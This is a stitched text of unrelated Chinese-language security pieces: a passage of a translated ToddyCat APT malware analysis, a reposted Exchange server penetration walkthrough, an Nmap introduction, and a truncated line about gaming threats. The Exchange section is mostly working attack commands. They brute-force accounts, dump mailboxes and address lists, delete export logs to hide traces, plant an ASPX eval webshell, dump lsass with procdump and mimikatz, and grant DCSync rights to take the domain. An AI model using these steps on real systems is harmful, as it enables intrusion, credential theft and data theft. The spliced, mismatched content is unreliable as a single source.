並使用GetVolumeNameForVolumeMountPointA函數來檢索“C:\”卷GUID。

4.png

用於獲取卷GUID的代碼片段

這兩個值連續用作修改IDX塊的異或項。這種方法表明存儲在user.key的加密有效負載是為目標系統量身定制的。

據觀察,定制加載器用於保持長期持久性。用於實現此目標的技術與攻擊者的Samurai後門所使用的技術相同,後者允許攻擊者將惡意軟件隱藏在svchost.exe地址空間中。

在這種情況下,攻擊者創建以下註冊表項:

5.png

此註冊表項旨在強制合法的svchost.exe進程在系統啟動期間加載FontCacheSvc服務。進程的命令行看起來像這樣:

C:\Windows\system32\svchost.exe -k fontcsvc -s fontachesvc

攻擊者還創建一個新的服務,該服務被配置為加載定制的加載程序,該加載程序通常存儲在文件名apibridge.dll中。

6.png

Ninja由前面描述的組件加載的最後一個階段是Ninja代理。這是一種用c++編寫的複雜惡意軟件,可能是ToddyCat開發的未知利用後工具包的一部分。我們之前介紹過。

代理是一個提供各種功能的強大工具,包括但不限於:

運行進程的枚舉和管理;

文件系統管理;

管理多個反向shell會話;

向任意進程注入代碼;

在運行時加載附加模塊(可能是插件);

代理功能,用於在C2和遠程主機之間轉發TCP數據包。

代理的最新版本支持與上一個報告中描述的相同的命令,但是配置不同。雖然以前的版本使用XOR項0xAA混淆了嵌入式配置,但新版本使用NOT二進制操作來實現相同的目的。

儘管配置中包含的信息保持不變,但互斥對象名稱已移到HTTP標頭之後。

LoFiSe

這是一個用於查找和收集目標系統上感興趣文件的組件。 LoFiSe這個名字來源於這個工具使用的互斥對象名稱(' MicrosoftLocalFileService '),該工具本身是一個名為DsNcDiag.dll的DLL文件,使用DLL側加載技術啟動。使用軟件包“Pulse Secure Network Connect 8.3”中具有數字簽名和原始名稱為“nclauncher.exe”的合法可執行文件作為加載程序。以下路徑和文件名在被攻擊的系統上是已知的:

C:\ProgramFiles\WindowsMail\AcroRd64.exe

C:\ProgramFiles\WindowsMail\DsNcDiag.dll

C:\ProgramFiles\CommonFiles\VLCMedia\VLCMediaUP.exe

C:\ProgramFiles\CommonFiles\VLCMedia\DsNcDiag.dll啟動後,LoFiSe開始跟踪文件系統中的更改。系統中的所有驅動器都被監控。在收到文件創建或修改事件後,該工具執行幾次檢查。過濾大小大於6400000字節( 6mb)的文件。某些文件夾中的文件也會被過濾。這些都是在其完整路徑中包含ProgramData的文件,或者已經存儲在LoFiSe工作目錄中的文件。

以下是工具存儲文件的工作目錄,具體取決於版本:

C:\Programdata\Microsofts\

C:\windows\temp\在下一階段,根據以下掩碼檢查文件擴展名:

7.png

如果文件通過了所有的檢查並且適合收集,LoFiSe就會計算它的MD5哈希值,並用它來檢查以前複製的文件,並將此信息存儲在數據庫中。在該工具的所有已知版本中,數據庫文件稱為Date.db,並在工作目錄中創建。數據庫中添加了兩個表:

8.png

數據庫中的文件路徑

9.png

其他存儲數據

如果MD5文件不在表中,它將被添加到工作目錄中。

每隔三個小時,LoFiSe將工作目錄中的所有文件收集到一個有密碼保護的ZIP-archive中,並將其放入一個單獨的文件夾中以供進一步竊取:

10.png

準備收集數據時產生的日誌

DropBox上傳器這是一個通用的DropBox上傳器,任何人都可以使用它將數據上傳到流行的文件託管服務。這個工具可能不是todddycat唯一使用的,但我們觀察到該組織使用它來竊取被盜的文件,

這個小實用程序接受DropBox用戶訪問令牌作為參數。然後,它解析當前工作目錄並上傳具有以下擴展名的文件:

11.png

調查中,我們還發現了其他幾個類似的樣品,這些樣品由不同的包裝商保護,只在東南亞檢測到。然而,在某些示例中,該工具是在沒有明顯被ToddyCat感染的系統上發現的。

Pcexter這是另一個用於將存檔文件洩露到微軟OneDrive的上傳程序。該工具作為名為Vspmsg.dll的DLL文件傳播,該文件使用DLL側加載技術執行,作為加載器,該工具使用來自Visual Studio的合法可執行文件VSPerfCmd,該文件用於收集性能數據。這些可執行文件在受攻擊系統上的已知路徑如下:

c:\windows\temp\googledrivefs.exeC:\windows\temp\vspmsg.dll

c:\programfiles\windowsmail\securityhealthsystray64.exec:\programfiles\windowsmail\vspmsg.dll

c:\programfiles\commonfiles\vlcmedia\vlcmediastatus.exec:\programfiles\commonfiles\vlcmedia\vspmsg.dll這個工具需要以下參數:

12.png

啟動後,Pcexter等待事件“Global\SystemLocalPcexter”觸發,然後開始使用給定的掩碼在指定目錄中搜索文件。這是LoFiSe工具在創建要發送的存檔時設置的事件。

Pcexter使用OneDrive OAuth 2.0授權,檢索訪問令牌並通過POST方法發送文件:

13.png

其他工具被動UDP後門這是一個很小的被動後門,用UDP數據包接收命令,攻擊者通常在執行此後門之前通過任務遠程執行以下命令。

14.png

該命令在目標主機上創建一個名為SGAccessInboundRule的新防火牆規則。它允許後門在端口49683上接收UDP數據包。執行該命令後,攻擊者執行後門:

15.png

後門的邏輯很簡單:它將UDP套接字綁定到指定端口,解壓縮接收到的數據,並使用WinExec函數執行結果字符串。命令執行後,後門會返回一條包含當前系統時間和已執行命令的消息,以此反饋命令的執行情況。但是,後門程序不提供該命令的輸出。

這個後門的確切目的目前尚不清楚,但有可能是為了在檢測到其他植入程序時提供額外的持久性。

CobaltStrike在調查過程中,我們觀察到攻擊者在部署Ninja代理之前使用了CobaltStrike。具體來說,我們觀察到一個用c++編寫的加載器的使用,它位於:

C:\ProgramData\Microsoft\mf\windef.dll惡意軟件加載一個名為“BIN”的嵌入式資源。使用異或算法和嵌入在代碼中的密鑰:B0 9A E4 EA F7 BE B7 B0對資源內容進行反混淆。

由此產生的有效負載是CobaltStrike信標,配置為與以下URL通信:

hxxps://www.githubdd.workers[.]dev/fam/mfe?restart=false攻擊開始大約10分鐘後,系統檢測到ToddyCat Ninja。

Post-exploitation調查發現,為了實現這一目標,攻擊者使用上面描述的加載程序和木馬等工具滲透企業網絡。之後,它就開始收集連接到同一網絡主機的信息,以查找可能具有感興趣文件的目標。

該組織執行發現活動,通過利用標準操作系統管理實用程序(如net和ping)枚舉域帳戶和DC服務器:

16.png

在確定潛在目標後,該組織通過使用受攻擊的域管理憑據在本地安裝網絡共享來橫向移動:

17.png

攻擊者註意隨著時間的推移輪換使用的憑據,相同的憑據不太可能長期使用。

複製腳本後,將創建一個計劃任務,執行並立即刪除網絡共享,所有這些都是針對每個目標主機循環進行的:

18.png

計劃任務通常可以包含單個發現命令、二進制調用或負責執行收集活動的PS1或BAT腳本。

在橫向移動期間,單命令計劃任務的輸出保存在特定的文件中,以便攻擊者將遠程驅動器掛載為本地共享時可以捕獲它:

19.png

在運行腳本的情況下,命令如下:然後,我們觀察到PS1腳本中發現的相同的PowerShell命令被包裝在BAT腳本中,這可能是為了避免被檢測到。

然而,有些文件夾似乎比其他文件夾更受歡迎:

20.png

攻擊者會對同一會話重用相同的任務名,這樣的名字通常會引起較少的懷疑,例如“one”和“tpcd”,而腳本名稱可以從兩個到四個隨機的鍵盤觀察字符變化,具有更高的熵。

在活動結束時,掛載一個臨時共享,然後在洩漏主機上刪除:

21.png

數據收集和洩露

如上所述,一旦確定了感興趣的目標,收集階段就開始了。攻擊者通常從許多不同的主機收集文件,並將它們存儲在檔案中,然後使用公共文件存儲服務從目標網絡中洩漏出來。

22.png

數據竊取方案

我們已經描述了一些工具,例如LoFiSe,專門用於識別和收集感興趣的文件,但是在調查過程中,我們還發現了ToddyCat使用的其他腳本,這些腳本使用WMI枚舉目標主機磁盤上的文件,並收集最近修改的具有.pdf,doc,docx,xls 和.xlsx擴展名的文檔。

在這些情況下,使用諸如7zip或RAR實用程序之類的工具執行壓縮,特定的工具可能是根據基礎設施中已經可用的工具來選擇的。與LoFiSe不同,集合腳本將枚舉文檔的路徑存儲在純文本TXT文件中。文檔壓縮可以直接在目標主機或洩漏主機上完成。

下面是在目標主機上運行的BAT腳本的內容:

23.png

在上面的示例中,文件被文件在一個tmp_文件夾中;我們還觀察到使用根據主機名參數化名稱的文件夾,例如:

24.png

要收集的文件也是根據它們最後的寫入時間來選擇的。文件的最後修改日期應該大於一定天數。這個數字通常作為腳本參數傳遞,並且可以硬編碼。

在主驅動器和輔助驅動器上選擇數據源時,收集腳本使用不同的策略。對於默認的Windows主驅動器,腳本遍歷用戶配置文件目錄(C:\Users)。這種方法增加了捕獲有價值數據的可能性,同時減少了所需的處理時間,並最大限度地減少了收集不需要文件的機會。在處理外部設備和其他非主存儲介質時,腳本會選擇一種更方便的策略,即選擇根目錄(\)。雖然主驅動器始終可用,但輔助驅動器可能並不總是可訪問,從而限制了收集機會。為了減少這一限制,攻擊者偶爾會擴展時間範圍,將輔助驅動器和可移動驅動器上的舊文件包括在其作用域中(如BAT代碼片段所示)。

以下是PS1腳本的結構:

25.png

攻擊者試圖通過保護腳本並將腳本代碼嵌入到PE “.text”部分中的特定釋放器來傳播它們以逃避防禦。

26.png

PowerShell腳本里面的可執行文件

滴管接收兩個參數;第一個是啟動執行時必須提供的密碼字符串,第二個是通過命令行實際傳輸到PS腳本的數字。啟動後,dropper創建一個名為pro.ps1的文件,並通過PowerShell執行它:

在进行渗透过程中,Exchange邮件服务器通常是我们重点关注的对象,因为拿下了Exchange邮件服务器,凭借其机器账户的权限,我们可以赋予其他域内用户dcsync的权限,进而导出域内hash,拿下整个域。

exchange系统的中配置powershell使用命令

https://learn.microsoft.com/zh-cn/powershell/module/exchange/add-mailboxfolderpermission?view=exchange-ps

扫描服务

setspn.exe

setspn.exe -T vvvv1.com -F -Q */* | findstr exchange

2rpvj32hy1m11769.png

nmap

nmap 192.168.52.139 -A

mrnkwamr5ig11770.png

fqx0o0v0u4k11774.png

探测版本与漏洞

通过ews接口获得exchange精确版本信息

qw3vm0kicaa11779.png

缺点:部分旧的exchange版本不支持该操作。

通过owa接口获取exchange粗略版本信息

bbxav32p22a11780.png

获得版本号后,可以去官网查询对应的Exchange版本和发布日期。

查询地址:

https://learn.microsoft.com/en-us/exchange/new-features/build-numbers-and-release-dates?view=exchserver-2016

使用脚本检测版本与漏洞

https://github.com/3gstudent/Homework-of-Python/blob/master/Exchange_GetVersion_MatchVul.py

ol44yznhmeu11784.png

爆破

python2 EBurst.py -d 192.168.52.139 -C

gicfqnvimt211785.png

也可以使用该工具进行用户账户密码爆破。

python2 EBurst.py -d 192.168.52.139 -L ./users.txt -P ./passwords.txt --ews

信息收集

假定目前以及获取到了其中一个邮箱用户的凭据,接下来就可以进行信息收集。

通过Autodiscover进行信息收集

通过https://Exchange/autodiscover/autodiscover.xml接口,可以接受xml请求并返回xml中指定的电子邮件所属邮箱配置。

因为NTLMv2 身份验证需要 HTTP/1.1 连接,而新版burpsuit默认HTTP/2,因此我们需要先进行调整。

https://blog.csdn.net/qq_30786785/article/details/121742101

读取配置等操作可以参考如下链接。

https://3gstudent.github.io/%E6%B8%97%E9%80%8F%E5%9F%BA%E7%A1%80-Exchange-Autodiscover%E7%9A%84%E4%BD%BF%E7%94%A8

其中basic为身份验证,使用base64加密 VVVV1\administrator:admin!@#456

POST /autodiscover/autodiscover.xml HTTP/1.1
Host: 192.168.52.139
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36
Authorization: Basic VlZWVjFcYWRtaW5pc3RyYXRvcjphZG1pbiFAIzQ1Ng==
Content-Type: text/xml
Content-Length: 350

<Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/requestschema/2006">
    <Request>
      <EMailAddress>exchange1@vvvv1.com</EMailAddress>
      <AcceptableResponseSchema>http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a</AcceptableResponseSchema>
    </Request>
</Autodiscover>

如果不存在邮箱,则会返回

dneinq42o2j11787.png

如果邮箱存在,则会返回配置信息

sllhxy3hcbz11791.png

ecfn0ch4yg011792.png

获取exchange通讯录

全局地址列表(Global Address List,GAL)包含exchange组织所有的邮箱用户的邮件地址,只要获得exchange组织内任一邮箱用户的凭据,就可以导出其他邮箱用户的邮件地址。可以使用OWA、EWS、OAB、RPC over HTTP、MAPI over HTTP等方式获取GAL。

https://3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%8A%80%E5%B7%A7-%E8%8E%B7%E5%BE%97Exchange-GlobalAddressList%E7%9A%84%E6%96%B9%E6%B3%95

https://swarm.ptsecurity.com/attacking-ms-exchange-web-interfaces/

利用OWA直接查看

人员->所有用户

u2yvc5y4wtm11794.png

通过/EWS接口获取GAL

Powershell -ExecutionPolicy Bypass

Import-Module .\MailSniper.ps1

Get-GlobalAddressList -ExchHostname 192.168.52.139 -UserName VVVV1\administrator -Password admin!@#456 -OutFile gal.txt

qmwm4d3lvq311797.png

通过OAB获取GAL

1.通过Autodiscover搜集到的OAB路径;

2.访问/OAB/OABURI/oab.xml;

3.通过oab.xml找到默认全局地址表对应的LZX文件地址,并访问/OAB/OABURI/LZXURI,得到LZX文件;

4.使用cabextract工具对LZX文件解码,即可还原出GAL;

https://www.cabextract.org.uk/

通过RPC(MAPI) over HTTP导出GAL和信息收集

MAPI OVER HTTP是Outlook同Exchange2016之间默认的通信协议

MAPI OVER HTTP是Exchange Server 2013 Service Pack 1 (SP1)中实现的新传输协议,用来替代RPC OVER HTTP(也称作Outlook Anywhere)

Exchange2013默认没有启用MAPI OVER HTTP,Outlook同Exchange之间的通信协议使用RPC OVER HTTP

使用impacket-exchanger模块可以列出address list,找到对应的guid

python exchanger.py VVVV1/admins:User!@#45@192.168.52.139 nspi list-tables

ghphfjtgrku11801.png

导出所有用户

python exchanger.py VVVV1/admins:User!@#45@192.168.52.139 nspi dump-tables -guid 784f58c1-8bd1-4d28-81fa-52d22ce95738

nnearbdrcnv11804.png

通过python远程导出GAL

python ewsManage_Downloader.py 192.168.52.139 443 plaintext vvvv1.com admins User!@#45 findallpeople

qu0zyzh1q0z11805.png

导出邮件内容

通过/OWA接口直接下载邮件

通过输入账号密码,然后直接在页面中读取或下载邮件

ntjb5fwobcx11810.png

通过/EWS接口导出邮件内容

通过python远程导出邮件

可以通过明文密码导出,也可以通过hash导出

python ewsManage_Downloader.py 192.168.52.139 443 plaintext vvvv1.com administrator admin!@#456 download

python ewsManage_Downloader.py test.com 80 ntlmhash NULL user1 c5a237b7e9d8e708d8436b6148a25fa1 findallpeople

f1v2c1dcz3v11812.png

通过python导出邮件一般情况下使用SOAP XML message导出

XML元素官方文档:

https://learn.microsoft.com/en-us/exchange/client-developer/web-service-reference/ews-xml-elements-in-exchange

通过exshell.ps1导出邮件

https://3gstudent.github.io/%E6%B8%97%E9%80%8F%E5%9F%BA%E7%A1%80-%E4%BB%8EExchange%E6%9C%8D%E5%8A%A1%E5%99%A8%E4%B8%8A%E6%90%9C%E7%B4%A2%E5%92%8C%E5%AF%BC%E5%87%BA%E9%82%AE%E4%BB%B6

Powershell.exe -psconsolefile "C:\\program files\\Microsoft\\Exchange Server\\v15\\Bin\\exshell.psc1" -command "New-MailboxExportrequest -mailbox administrator -filepath '\\localhost\c$\exchange1.pst'

3nzd1n3xutz11816.png

0pazfalpagz11820.png

当然,在导出邮件之后,我们还需要进行导出邮件痕迹的清除

查看邮件导出请求记录

Powershell.exe -psconsolefile "C:\\program files\\Microsoft\\Exchange Server\\v15\\Bin\\exshell.psc1" -command "Get-MailboxExportRequest"

qahovamdx3011823.png

删除导出日志记录

Powershell.exe -psconsolefile "C:\\program files\\Microsoft\\Exchange Server\\v15\\Bin\\exshell.psc1" -command "remove-MailboxExportRequest"

twgbnut3qkj11826.png

Identity参数为上图中的Mailbox参数

Powershell.exe -psconsolefile "C:\\program files\\Microsoft\\Exchange Server\\v15\\Bin\\exshell.psc1" -command "remove-MailboxExportRequest -Identity 'vvvv1.com/Users/Administrator\MailboxExport' -Confirm:$false"

邮箱接管后门种植

配置模拟权限

https://4sysops.com/archives/exchange-impersonation-grant-permissions-to-service-accounts/

mnnzffmu2p211831.png

添加如下的权限即可。

验证是否有模拟权限:

https://192.168.52.139/ecp/exchange1@vvvv1.com/

具体利用需要结合脚本文件。

spebwreyftd11835.png

查看具有模拟权限的成员

Get-ManagementRoleAssignment -Role:ApplicationImpersonation

Powershell.exe -psconsolefile "C:\\program files\\Microsoft\\Exchange Server\\v15\\Bin\\exshell.psc1" -command "Get-ManagementRoleAssignment -Role:ApplicationImpersonation"

t5ffgbtgmhu11837.png

创建一个新的具有模拟权限的成员

New-ManagementRoleAssignment -Role:ApplicationImpersonation -User: exchange1@vvvv1.com

xnyv3fzipd111839.png

删除新添加模拟权限的成员

Remove-ManagementRoleAssignment "ApplicationImpersonation-admins"

4htqs1hvn1b11841.png

配置fullaccess权限

https://blog.csdn.net/weixin_34123613/article/details/90079532

Get-Mailbox -ResultSize unlimited -Filter {(RecipientTypeDetails -eq 'UserMailbox') -and (Alias -ne 'Administrator')} | Add-MailboxPermission -User administrator -AccessRights fullaccess -InheritanceType all

wr5xc3dw4d011844.png

取消fullaccess权限

Get-Mailbox -ResultSize unlimited -Filter {(RecipientTypeDetails -eq 'UserMailbox') -and (Alias -ne 'Administrator')} | remove-MailboxPermission -User administrator -AccessRights fullaccess -InheritanceType all

验证fullaccess权限

wrdoqlkjscx11846.png

漏洞攻击

python ProxyLogon.py --host=exchange.com --mail=admin@exchange.com

aspx木马:
<script language="JScript" runat="server"> function Page\_Load(){/\*\*/eval(Request\["command"\],"unsafe");}</script>

后渗透阶段

exchange服务器信息收集

获取到exchange默认安装路径

echo %ExchangeInstallPath%

fqjy0gji43y11849.png

控制台文件的相对位置是%ExchangeInstallPath%\Bin\exshell.ps1

获取所有邮箱信息

powershell.exe -psconsolefile "C:\Program Files\Microsoft\Exchange Server\V15\bin\exshell.psc1" -command "get-mailbox -resultsize unlimited"

kd5u2d2f3pr11851.png

分析邮件跟踪日志

邮件跟踪日志位于%ExchangeInstallPath%\TransportRoles\Logs\MessageTracking

jaw2falq1fn11861.png

在配置了代理隧道的情况下可以通过copy命令将日志复制到本地。

通过脚本log_analysis.py可以提取关键信息进行分析。

import csv
import os
import sys
def analysis(path):
    for i in os.listdir(path):
        print(i)
        csvfile = []
        for i in open(path+"/" + i, encoding='utf-8'):
            if '#Software: Microsoft Exchange Server' in i: continue
            if i[:1] == '#':
                if i[:9] == '#Fields: ':
                    i = i.replace('#Fields: ', '')
                else:
                    continue
            csvfile.append(i)
        reader = csv.DictReader(csvfile)

        for row in reader:
            date_time = row["date-time"]
            original_server_ip = row["original-server-ip"]
            original_client_ip = row["original-client-ip"]
            from_email = row["sender-address"]
            to_email = row['recipient-address'].replace(';', "   ")
            subject = row['message-subject']
            if date_time !='' and  original_server_ip != '' and original_client_ip != "" and from_email != "" and to_email != "" and subject != "":
                msg = f'[{date_time}]:[ {from_email} ][ip:{original_client_ip}] -> [ {to_email} ][ip:{original_server_ip}] [ {subject} ]\n'
                wf = open(f'{path}\\testout.txt', "a+", encoding='utf-8')
                wf.write(msg)

if __name__ == '__main__':
    path = sys.argv[1]
    analysis(path=path)

uz4bd2ihoks11867.png

使用exchange中的exshell.ps1文件也可以获取某个账户的发件信息进行分析

powershell.exe -psconsolefile "C:\Program Files\Microsoft\Exchange Server\V15\bin\exshell.psc1" -command "Get-MessageTrackingLog -EventID send -Sender "administrator@vvvv1.com""

ahpklnlvjqx11882.png

导出本地hash

获取到webshell权限后,查看权限是否需要提权等操作

sgomir5ernc11885.png

上传微软的工具导出lsass进程中的hash防止被查杀。

procdump64.exe -accepteula -ma lsass.exe lsass.dmp

导出生成的lsass.dmp文件,copy进入本地使用mimikatz进行分析。

mimikatz.exe log "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" exit

kesr5kesrz211889.png

抓取到exchange的机器用户的hash。

exchange机器位于Exchange Trusted Subsystem,而Exchange Trusted Subsystem又属于Exchange Windows Permission组,这个组具有WriteDACL权限,且可以继承,因此exchange机器对于域对象具有WriteDACL权限,我们只需要知道一个普通域用户的密码或者hash,即可赋予其dcsync的权限,导出域内hash。

搭建webshell代理

正常情况下,exchange服务器是处于不出网的环境中,而当我们拿到webshell的说话,无法反弹shell到自己的工具,所以需要通过webshell流量搭建代理隧道。

使用Chunk-Proxy工具即可,将代理文件上传到web目录中

java -jar v1.10.jar .net 1088 https://192.168.52.139/aspnet_client/proxy.aspx

hcqbq0wpfe211892.png

发现已经成功访问到内网网段

fjkaiyi44h211896.png

赋予普通用户dcsync权限

使用工具bloodyAD直接远程赋予即可。

python bloodyAD.py -d vvvv1.com -u EXCHANGE-2016$ -p :a377e26f4118ba88ce1af6a4f8ac9daf --host 10.10.10.10 add dcsync man03

qadtm3t45mh11902.png

ko0hos0njz411906.png

使用命令行给用户添加dcsync权限

通过加载Powershell渗透框架下的PowerView.ps1脚本实现。

Powershell -ExecutionPolicy Bypass

Import-Module .\PowerView.ps1

Add-DomainObjectAcl -TargetIdentity "DC=vvvv1,DC=com" -PrincipalIdentity man03 -Rights DCSync -Verbose

经过测试,域控的机器账户并没有授予其他人dcsync服务的权限。

q3cti4e4omq11910.png

但是域管理员账户是拥有授予其他人dcsync服务的权限。

qaioyejiqn511912.png

m4sgkabhrtr11916.png

发现man03已经被添加dcsync权限了。

删除man03的dcsync权限

Remove-DomainObjectAcl -TargetIdentity "DC=vvvv1,DC=com" -PrincipalIdentity man03 -Rights DCSync -Verbose

发现已经删除

3x4zyev1wxz11931.png

赋予dcsync权限后,只需要使用hash传递将对应账户注入到当前lsass进程中,然后使用sharpkatz就可以远程导出域hash了。

总结

为什么一定要导出邮件呢?

1.在日常工作中,对于甲方的指定人员进行邮件分析,分析行为等;

2.在企业或者大型内网环境中,我们一般从exchange进去的域属于公共域,在内部里面还有私有域,两个域可能并不互相信任,也有可能是隔离的环境,那么两个域之间相互进行联系靠的就是邮件通讯,因此导出其中的邮件可能会有vpn账号等等;

3.可能企业或者内网这个域环境搭建是通过外包的,如果出现问题,企业就会需要发邮件让外包人员进行处理,同时,外包人员也并不是实时都在现场,也会通过vpn等手段连入内网,当然,在内部网络,IT部门也会根据身份分发VPN等邮件;

4.还会有许多的机器密码等等也保存在邮件中,或者在机器中;

网络hash

当我们截获到网络hash,需要思考两点:

1.如果这个网络hash只是用于身份认证的话,一般使用不可逆算法,比如md5,sha256等等算法,只能采用爆破的方法;

2.如果这个网络hash后续还需要使用明文来连接,比如连接ldap服务,那么算法大概率是可逆的,可以由相关人员来破解。


转载自原文链接地址: https://forum.butian.net/share/3679

Nmap是Network Mapper(網絡映射器)的縮寫,是一個用於端口和IP掃描以及應用程序檢測的開源工具。網絡和系統管理員將其用於清點網絡資產、管理服務升級計劃和監視服務正常運行時間。

起初,它是作為一款Linux工具而開發的,但現在也可用於Windows和MacOS。用戶還可以在Solaris、AIX或Amiga OS等不太常見的系統上使用Nmap。源代碼以C、C++、Perl和Python等版本提供,可以定制該工具以適用於不同的環境。

管理員用Nmap進行滲透測試,檢查哪些設備在其網絡上運行,Nmap還使他們能夠查看哪些端口是敞開的,並發現潛在的漏洞。

Nmap有什麼用途?大致說來,Nmap允許用戶進行快速的網絡映射,可以幫助團隊優化並保護網絡和數據。它被用於滲透測試、道德黑客活動以及進行其他目的。它最近的一項用途是分析網站服務器和物聯網設備之間的流量。

Nmap由美國網絡安全專家Gordon Lyon開發,下面將逐一介紹Nmap工具的最重要功能:

網絡映射Nmap向用戶顯示哪些類型的設備連接到網絡並使用掃描端口。借助這個命令,用戶可以看到服務器、路由器、交換機及其他設備是如何連接的,他們還可以了解它們如何協同工作,並進一步設想網絡圖。

端口掃描用戶可以使用Nmap檢查哪些端口是敞開的,哪些端口是關閉的。這項功能對於IT團隊來說非常方便,因為他們可以用它來查看防火牆是否在正常工作,對於那些想要防範端口掃描攻擊的人來說,它也派得上用場。

漏洞掃描Nmap還有助於發現網絡容易受到特定威脅攻擊的程度。當發現一個影響特定軟件或軟件版本的新漏洞時,Nmap可以顯示是否有任何連接的機器使用該應用程序,然後IT團隊收到警告,可以通過及時修補系統來避免網絡攻擊。

採集操作系統指紋幫助IT團隊發現設備上運行的所有類型的操作系統。通過這個過程,他們還可以查明這台機器是什麼品牌(戴爾、宏碁或聯想等)。但更有意思的是,IT團隊還可以確定操作系統的補丁級別和端點的估計正常運行時間。

檢查影子ITNmap可以顯示連接到網絡的機器的類型和位置,這有助於管理員發現任何未經正式授權就連接到其網絡的設備(影子IT)。影子IT通常是隱藏的,即使這些機器不一定是惡意的,它們也可能是整個系統面臨的一個風險因素,危險在於設備不包括在網絡安全程序中,享受不到補丁管理策略的益處等。

服務發現與其他映射工具不同,Nmap有助於發現網絡中每個設備的角色。它顯示哪個設備是郵件或網站服務器、哪個是存儲設備、哪個是數據庫存儲庫等。此外,Nmap還顯示正在運行中的應用程序,甚至顯示使用中的應用程序版本。

如何在Linux中使用Nmap? Linux用戶可以使用來自Insecure.Org的二進制軟件包或者安裝發行版的源代碼。

•二進制軟件包通常是一種安裝起來更快速、更輕鬆的選擇。但是它們必須稍加定制,才能使用發行版的標準目錄路徑。此外,這些軟件包支持定期管理,以便對系統上的軟件進行升級、卸載或審計。然而,發行版創建的軟件包總是落後於Nmap.Org源版本,這顯然是一個缺點,即使大多數Linux發行版保持相當頻繁的更新節奏。

•使用源代碼安裝可以讓用戶更好地控制如何為其係統開發和定制Nmap,可以在官方Nmap頁面(https://nmap.org/book/inst-source.html)上找到更多的相關信息。

如何在Windows上運行Nmap?自2000年發布以來,Windows版本已成為使用Nmap的第二大流行平台。 Windows用戶可以在安裝Nmap的三種方法中進行選擇:

•Windows自安裝程序——這是最容易使用的選項,它是大多數用戶青睞的選擇。它還使用戶能夠安裝Zenmap GUI及其他工具。

•命令行Zip二進製文件——Nmap版本將Windows命令行二進製文件和關聯文件合併到Zip壓縮包中。另一方面,沒有圖形化界面,所以用戶必須打開DOS/命令窗口來運行exe文件。

•從源代碼編譯——對於那些願意幫助開發Nmap的人來說,從源代碼編譯是最好的選擇。為此,你需要Microsoft Visual C++ 2019。任何Visual Studio 2019版本都可以使用,包括免費的Visual Studio 2019社區版。

可以在這裡(https://nmap.org/download.html)找到這三種選擇的更多信息和安裝步驟。

如何在MacOS上運行Nmap?用戶可以使用面向Apple macOS (x86-64)平台的Nmap二進製文件,它作為含有安裝程序的磁盤映像文件而存在。安裝程序支持Nmap、Zenmap、Ncat和Ndiff,這些程序在Mac OS X 10.9和其他更新版本上進行了測試。

MacOS用戶也有安裝Nmap的更多選擇:

•可執行安裝程序——這是在Mac設備上安裝Nmap或Zenmap的最簡單方法。

•從源代碼編譯——這需要蘋果的開發工具Xcode。因為它不是默認安裝,所以必須從Mac應用程序商店免費下載。

•使用第三方軟件包——在MacOS上安裝Nmap的第三種選擇是使用一個打包Unix軟件的系統。 Nmap官方頁面推薦使用Fink或MacPorts。

與Windows一樣,在MacOS上運行Nmap的第一步是從這裡(https://nmap.org/download.html#macosx)下載。然後按照操作說明(https://nmap.org/book/inst-macosx.html),在MacOs上正確安裝和運行Nmap。

除Nmap之外的另外5款開源網絡掃描工具Nmap可能是最出名的網絡掃描工具,但它肯定不是唯一的。下面是另外一些主流的類似選擇:

•Metasploit框架Metasploit起初是一個開源滲透測試工具。它現在是一個商業網絡掃描工具,用於網絡漏洞檢測。

•SnortSnort是一個開源免費的網絡入侵檢測工具。它基於協議分析和內容檢查,可以檢測不同類型的網絡漏洞(比如蠕蟲),並且可以掃描端口。

•OpenSSH這個開源工具專門用於UNIX環境。 SSH是Secure Shell的縮寫,在不受信任的主機之間通過不安全的網絡鏈路建立安全的加密通信機制。它通過加密網絡流量來消除諸多網絡問題:竊聽不可信的連接和劫持兩台主機之間的連接。

•OpenVAS這是另一個免費的網絡安全掃描工具。它提供全面的網絡掃描、網站服務器和應用程序掃描,還提供WordPress掃描。

•Angry IP Scanner另外,開源工具Angry IP Scanner不僅提供IP地址掃描,還提供端口掃描。使用該工具可以訪問主機名、NetBIOS、MAC地址和工作組信息等信息。

系統管理員最常用的5個Nmap命令基本掃描•Ping掃描——使用nmap-sp192.168.1.1/24顯示連接到網絡的全部設備。

•掃描單個主機——使用nmap scanme.nmap.org掃描一個主機,以掃描1000個密集使用的端口,這些端口被SQL、SMTP、apache等服務使用。

版本掃描在進行滲透測試時,IT團隊需要找出正在使用的應用程序版本,然後,他們可以搜索通用漏洞披露(CVE)數據庫中的現有漏洞,以查找服務的某個版本,進而測試網絡對它的響應。

使用'-sV'命令進行版本掃描:nmap-sV scanme.nmap.org。

進攻性掃描' -A '參數允許操作系統檢測、版本檢測、腳本掃描和跟踪路由。雖然進攻性掃描提供了比常規掃描了更好的信息,但它們發出的探針(probe)更多。對於系統管理員來說,安全審計期間更容易檢測到它們。要執行進攻性掃描,請使用nmap -A scanme.nmap.org。

掃描多個主機多主機掃描可以幫助那些管理大型網絡基礎設施的人。有四種方法可以使用這個選項:

•在一行中輸入所有的IP地址,以便一次性掃描所有主機:nmap192.164.1.1 192.164.0.2 192.164.0.2。

•輸入星號(*)表示一次性掃描所有子網:nmap192.164.1.*。

•不要鍵入整個域名,使用逗號分隔地址結尾:nmap192.164.0.1,2,3,4。

•輸入連字符表示IP地址範圍:nmap192.164.0.0—255。

端口掃描由於端口掃描是Nmap的主要功能之一,所以有不止一種方法來使用它:

•使用'-p'參數進行單端口掃描:nmap-p973 192.164.0.1。

•如果指定端口類型,Nmap允許你掃描查找關於特定類型連接的數據:Nmap-p T:7777, 973 192.164.0.1。

•如果你想掃描整個範圍的端口,用連字符區分它們:nmap-p76—973 192.164.0.1。

•使用'-top-ports'標誌來指定要掃描的前n個端口:nmap-top-ports10 scanme.nmap.org。

sl-neon-gamepads-red-1200x600.jpg

隨著收益和玩家數量(超過30億)的增加,遊戲行業也成為攻擊者的目標,尤其是玩家們期待已久的熱門遊戲經常被用作惡意活動的誘餌。截至2022年,近四分之一的玩家是未成年人,他們更容易成為攻擊者的獵物。

